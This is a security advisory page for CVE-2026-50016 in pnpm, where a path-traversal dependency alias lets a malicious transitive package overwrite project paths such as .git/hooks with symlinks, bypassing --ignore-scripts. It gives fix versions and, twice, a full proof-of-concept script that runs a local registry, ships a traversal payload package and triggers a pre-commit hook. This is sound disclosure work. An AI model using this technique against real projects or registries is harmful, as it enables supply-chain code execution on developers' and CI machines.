CVE-2026-50016: pnpm Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-hwx4-2j3j-g496
CVSS 8.8
CWE-23
Published
Advisory Summary

CVE-2026-50016 is a HIGH (CVSS 8.8) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting pnpm libraries in the npm ecosystem. The issue involves transitive dependency alias path traversal allows project path override via symlink replacement. Remediation is available by upgrading affected packages to version 10.34.0, 11.4.0.

CVE-2026-50016 at a Glance

CVE Identifier CVE-2026-50016
GHSA Identifier GHSA-hwx4-2j3j-g496
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-23: Relative Path Traversal
Affected Product pnpm
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-50016

To remediate this vulnerability, upgrade all affected pnpm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pnpm fixed: 10.34.0
npm install pnpm@10.34.0
pnpm fixed: 11.4.0
npm install pnpm@11.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls pnpm

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-50016, inspect your project dependencies using npm:

npm ls pnpm

Analyze the terminal output to locate any version of pnpm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.34.0), your application is affected.

Note: The npm ls pnpm command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In pnpm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories. `.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example: - `.husky` or `.githooks` for Git hook dispatchers - `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands - `.github/actions/<name>` for local GitHub Actions used later in the workflow - `dist/` or other publish/build output directories before `pnpm pack` or `pnpm publish` - `node_modules/.bin` or undeclared `node_modules/<name>` paths used by later command or module resolution Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation. This was reproduced with `pnpm@11.2.1`. ## Impact Users often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command. Examples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`. ## Root Cause pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory. Conceptually, a transitive alias like this: ```json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` is eventually treated like: ```text path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks") ``` The normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory. The dependency chain is: ```text victim installs normal@1.0.0 normal@1.0.0 -> bad@1.0.0 bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias ``` The malicious transitive package metadata contains: ```json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` Because this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency. ## Proof Of Concept Run: ```sh ./run.sh ``` ``` sh #!/bin/sh set -eu SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPT_DIR/demo-workdir" REGISTRY_DIR="$WORKDIR/registry" TARBALLS_DIR="$REGISTRY_DIR/tarballs" VICTIM_DIR="$WORKDIR/victim" READY_FILE="$WORKDIR/registry-ready" PORT_FILE="$WORKDIR/registry-port" rm -rf "$WORKDIR" mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR" cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON' { "name": "payload-hooks", "version": "1.0.0", "bin": { "pre-commit": "pre-commit" }, "files": [ "pre-commit" ] } JSON cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF' #!/bin/sh echo PWNED >&2 exit 0 EOF chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit" cat > "$REGISTRY_DIR/bad/package.json" <<'JSON' { "name": "bad", "version": "1.0.0", "description": "transitive registry package", "dependencies": { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } } JSON cat > "$REGISTRY_DIR/normal/package.json" <<'JSON' { "name": "normal", "version": "1.0.0", "description": "normal looking package from a registry", "dependencies": { "bad": "1.0.0" } } JSON (cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' & const http = require('node:http') const fs = require('node:fs') const path = require('node:path') const { execFileSync } = require('node:child_process') const [registryDir, readyFile, portFile] = process.argv.slice(2) const tarballsDir = path.join(registryDir, 'tarballs') function shasum (filename) { return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)]) .toString() .trim() .split(/\s+/) .pop() } function integrity (filename) { return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)]) .toString('base64') } function packument (pkgName, req) { const filename = `${pkgName}-1.0.0.tgz` const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8')) const origin = `http://${req.headers.host}` return { name: pkgName, 'dist-tags': { latest: '1.0.0', }, versions: { '1.0.0': { ...manifest, dist: { tarball: `${origin}/${pkgName}/-/${filename}`, shasum: shasum(filename), integrity: integrity(filename), }, }, }, } } const server = http.createServer((req, res) => { const pathname = new URL(req.url, 'http://local.invalid').pathname if (req.method !== 'GET') { res.writeHead(405) res.end('method not allowed') return } if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') { const pkgName = pathname.slice(1) res.writeHead(200, { 'content-type': 'application/json' }) res.end(JSON.stringify(packument(pkgName, req))) return } const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/) if (tarballMatch) { const file = path.join(tarballsDir, tarballMatch[2]) res.writeHead(200, { 'content-type': 'application/octet-stream' }) fs.createReadStream(file).pipe(res) return } res.writeHead(404) res.end('not found') }) server.listen(0, '127.0.0.1', () => { fs.writeFileSync(portFile, String(server.address().port)) fs.writeFileSync(readyFile, 'ready') }) NODE REGISTRY_PID=$! trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM WAIT_COUNT=0 while [ ! -f "$READY_FILE" ]; do WAIT_COUNT=$((WAIT_COUNT + 1)) if [ "$WAIT_COUNT" -gt 100 ]; then echo "local registry did not start" >&2 exit 1 fi sleep 0.05 done REGISTRY_PORT=$(cat "$PORT_FILE") cd "$VICTIM_DIR" git init -q git config user.email demo@example.invalid git config user.name "Demo User" cat > package.json <<'JSON' { "name": "victim", "version": "1.0.0" } JSON cat > .npmrc <<EOF registry=http://127.0.0.1:$REGISTRY_PORT/ EOF printf 'pnpm: ' pnpm --version printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT" printf 'victim: %s\n\n' "$VICTIM_DIR" pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent echo 'trigger commit' > change.txt git add change.txt set +e COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null) COMMIT_STATUS=$? set -e printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS" printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR" ``` The script starts a local npm-compatible registry, writes a victim project `.npmrc` that points to that registry, installs `normal@1.0.0` with `--ignore-scripts`, and then triggers `git commit`. Requirements: ```text pnpm npm node git openssl ``` Expected output: ```text git commit exit code: 0 git commit stderr: PWNED ``` `PWNED` is printed by the attacker-controlled `pre-commit` hook from the `payload-hooks` package.

CVE-2026-50016 Affected pnpm Versions

2 component(s)
Fixed Versions:
10.34.011.4.0
Product / Package Ecosystem Affected Versions Fixed Version
pnpm
npm
< 10.34.0
10.34.0
pnpm
npm
≥ 11.0.0
< 11.4.0
11.4.0

References

Frequently Asked Questions

What is CVE-2026-50016?
CVE-2026-50016 is a security vulnerability in pnpm involving Transitive dependency alias path traversal allows project path override via symlink replacement under CWE-23: Relative Path Traversal.
Which pnpm versions are affected?
Affected versions include releases prior to 10.34.0, 11.4.0 across affected packages: pnpm.
What version fixes CVE-2026-50016?
Upgrading to 10.34.0, 11.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pnpm affected?
Yes, pnpm is affected in releases prior to 10.34.0, 11.4.0. Upgrade your dependency to 10.34.0, 11.4.0 or later.
What is the CVSS score of CVE-2026-50016?
CVE-2026-50016 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-50016?
CVE-2026-50016 is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check npm dependencies for CVE-2026-50016?
Run the dependency tree command: 'npm ls pnpm'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hwx4-2j3j-g496",
  "modified" : "2026-06-26T22:55:51Z",
  "published" : "2026-06-26T22:55:51Z",
  "aliases" : [ "CVE-2026-50016" ],
  "summary" : "pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement",
  "details" : "## Summary\n\npnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories.\n\n`.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:\n\n- `.husky` or `.githooks` for Git hook dispatchers\n- `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands\n- `.github/actions/<name>` for local GitHub Actions used later in the workflow\n- `dist/` or other publish/build output directories before `pnpm pack` or\n  `pnpm publish`\n- `node_modules/.bin` or undeclared `node_modules/<name>` paths used by later\n  command or module resolution\n\nTargets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.\n\nThis was reproduced with `pnpm@11.2.1`.\n\n## Impact\n\nUsers often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.\n\nExamples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`.\n\n## Root Cause\n\npnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory.\n\nConceptually, a transitive alias like this:\n\n```json\n{\n  \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n}\n```\n\nis eventually treated like:\n\n```text\npath.join(parentPackageNodeModulesDir, \"@x/../../../../../.git/hooks\")\n```\n\nThe normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory.\n\nThe dependency chain is:\n\n```text\nvictim installs normal@1.0.0\nnormal@1.0.0 -> bad@1.0.0\nbad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias\n```\n\nThe malicious transitive package metadata contains:\n\n```json\n{\n  \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n}\n```\n\nBecause this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency.\n\n## Proof Of Concept\n\nRun:\n\n```sh\n./run.sh\n```\n\n``` sh\n#!/bin/sh\nset -eu\n\nSCRIPT_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\nWORKDIR=\"$SCRIPT_DIR/demo-workdir\"\nREGISTRY_DIR=\"$WORKDIR/registry\"\nTARBALLS_DIR=\"$REGISTRY_DIR/tarballs\"\nVICTIM_DIR=\"$WORKDIR/victim\"\nREADY_FILE=\"$WORKDIR/registry-ready\"\nPORT_FILE=\"$WORKDIR/registry-port\"\n\nrm -rf \"$WORKDIR\"\nmkdir -p \"$REGISTRY_DIR/payload-hooks\" \"$REGISTRY_DIR/bad\" \"$REGISTRY_DIR/normal\" \"$TARBALLS_DIR\" \"$VICTIM_DIR\"\n\ncat > \"$REGISTRY_DIR/payload-hooks/package.json\" <<'JSON'\n{\n  \"name\": \"payload-hooks\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"pre-commit\": \"pre-commit\"\n  },\n  \"files\": [\n    \"pre-commit\"\n  ]\n}\nJSON\n\ncat > \"$REGISTRY_DIR/payload-hooks/pre-commit\" <<'EOF'\n#!/bin/sh\necho PWNED >&2\nexit 0\nEOF\nchmod +x \"$REGISTRY_DIR/payload-hooks/pre-commit\"\n\ncat > \"$REGISTRY_DIR/bad/package.json\" <<'JSON'\n{\n  \"name\": \"bad\",\n  \"version\": \"1.0.0\",\n  \"description\": \"transitive registry package\",\n  \"dependencies\": {\n    \"@x/../../../../../.git/hooks\": \"npm:payload-hooks@1.0.0\"\n  }\n}\nJSON\n\ncat > \"$REGISTRY_DIR/normal/package.json\" <<'JSON'\n{\n  \"name\": \"normal\",\n  \"version\": \"1.0.0\",\n  \"description\": \"normal looking package from a registry\",\n  \"dependencies\": {\n    \"bad\": \"1.0.0\"\n  }\n}\nJSON\n\n(cd \"$REGISTRY_DIR/payload-hooks\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n(cd \"$REGISTRY_DIR/bad\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n(cd \"$REGISTRY_DIR/normal\" && npm pack --pack-destination \"$TARBALLS_DIR\" --silent >/dev/null)\n\nnode - \"$REGISTRY_DIR\" \"$READY_FILE\" \"$PORT_FILE\" <<'NODE' &\nconst http = require('node:http')\nconst fs = require('node:fs')\nconst path = require('node:path')\nconst { execFileSync } = require('node:child_process')\n\nconst [registryDir, readyFile, portFile] = process.argv.slice(2)\nconst tarballsDir = path.join(registryDir, 'tarballs')\n\nfunction shasum (filename) {\n  return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])\n    .toString()\n    .trim()\n    .split(/\\s+/)\n    .pop()\n}\n\nfunction integrity (filename) {\n  return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])\n    .toString('base64')\n}\n\nfunction packument (pkgName, req) {\n  const filename = `${pkgName}-1.0.0.tgz`\n  const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))\n  const origin = `http://${req.headers.host}`\n  return {\n    name: pkgName,\n    'dist-tags': {\n      latest: '1.0.0',\n    },\n    versions: {\n      '1.0.0': {\n        ...manifest,\n        dist: {\n          tarball: `${origin}/${pkgName}/-/${filename}`,\n          shasum: shasum(filename),\n          integrity: integrity(filename),\n        },\n      },\n    },\n  }\n}\n\nconst server = http.createServer((req, res) => {\n  const pathname = new URL(req.url, 'http://local.invalid').pathname\n  if (req.method !== 'GET') {\n    res.writeHead(405)\n    res.end('method not allowed')\n    return\n  }\n  if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {\n    const pkgName = pathname.slice(1)\n    res.writeHead(200, { 'content-type': 'application/json' })\n    res.end(JSON.stringify(packument(pkgName, req)))\n    return\n  }\n  const tarballMatch = pathname.match(/^\\/(normal|bad|payload-hooks)\\/-\\/(.+\\.tgz)$/)\n  if (tarballMatch) {\n    const file = path.join(tarballsDir, tarballMatch[2])\n    res.writeHead(200, { 'content-type': 'application/octet-stream' })\n    fs.createReadStream(file).pipe(res)\n    return\n  }\n  res.writeHead(404)\n  res.end('not found')\n})\n\nserver.listen(0, '127.0.0.1', () => {\n  fs.writeFileSync(portFile, String(server.address().port))\n  fs.writeFileSync(readyFile, 'ready')\n})\nNODE\nREGISTRY_PID=$!\ntrap 'kill \"$REGISTRY_PID\" 2>/dev/null || true' EXIT INT TERM\n\nWAIT_COUNT=0\nwhile [ ! -f \"$READY_FILE\" ]; do\n  WAIT_COUNT=$((WAIT_COUNT + 1))\n  if [ \"$WAIT_COUNT\" -gt 100 ]; then\n    echo \"local registry did not start\" >&2\n    exit 1\n  fi\n  sleep 0.05\ndone\nREGISTRY_PORT=$(cat \"$PORT_FILE\")\n\ncd \"$VICTIM_DIR\"\ngit init -q\ngit config user.email demo@example.invalid\ngit config user.name \"Demo User\"\n\ncat > package.json <<'JSON'\n{\n  \"name\": \"victim\",\n  \"version\": \"1.0.0\"\n}\nJSON\n\ncat > .npmrc <<EOF\nregistry=http://127.0.0.1:$REGISTRY_PORT/\nEOF\n\nprintf 'pnpm: '\npnpm --version\nprintf 'registry: http://127.0.0.1:%s/\\n' \"$REGISTRY_PORT\"\nprintf 'victim: %s\\n\\n' \"$VICTIM_DIR\"\n\npnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent\n\necho 'trigger commit' > change.txt\ngit add change.txt\n\nset +e\nCOMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)\nCOMMIT_STATUS=$?\nset -e\n\nprintf '\\ngit commit exit code: %s\\n' \"$COMMIT_STATUS\"\nprintf 'git commit stderr:\\n%s\\n' \"$COMMIT_STDERR\"\n\n```\n\nThe script starts a local npm-compatible registry, writes a victim project `.npmrc` that points to that registry, installs `normal@1.0.0` with `--ignore-scripts`, and then triggers `git commit`.\n\nRequirements:\n\n```text\npnpm\nnpm\nnode\ngit\nopenssl\n```\n\nExpected output:\n\n```text\ngit commit exit code: 0\ngit commit stderr:\nPWNED\n```\n\n`PWNED` is printed by the attacker-controlled `pre-commit` hook from the `payload-hooks` package.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pnpm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.34.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pnpm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "11.0.0"
      }, {
        "fixed" : "11.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/security/advisories/GHSA-hwx4-2j3j-g496"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-50016"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pnpm/pnpm"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-23" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T22:55:51Z",
    "nvd_published_at" : "2026-06-25T18:16:39Z"
  }
}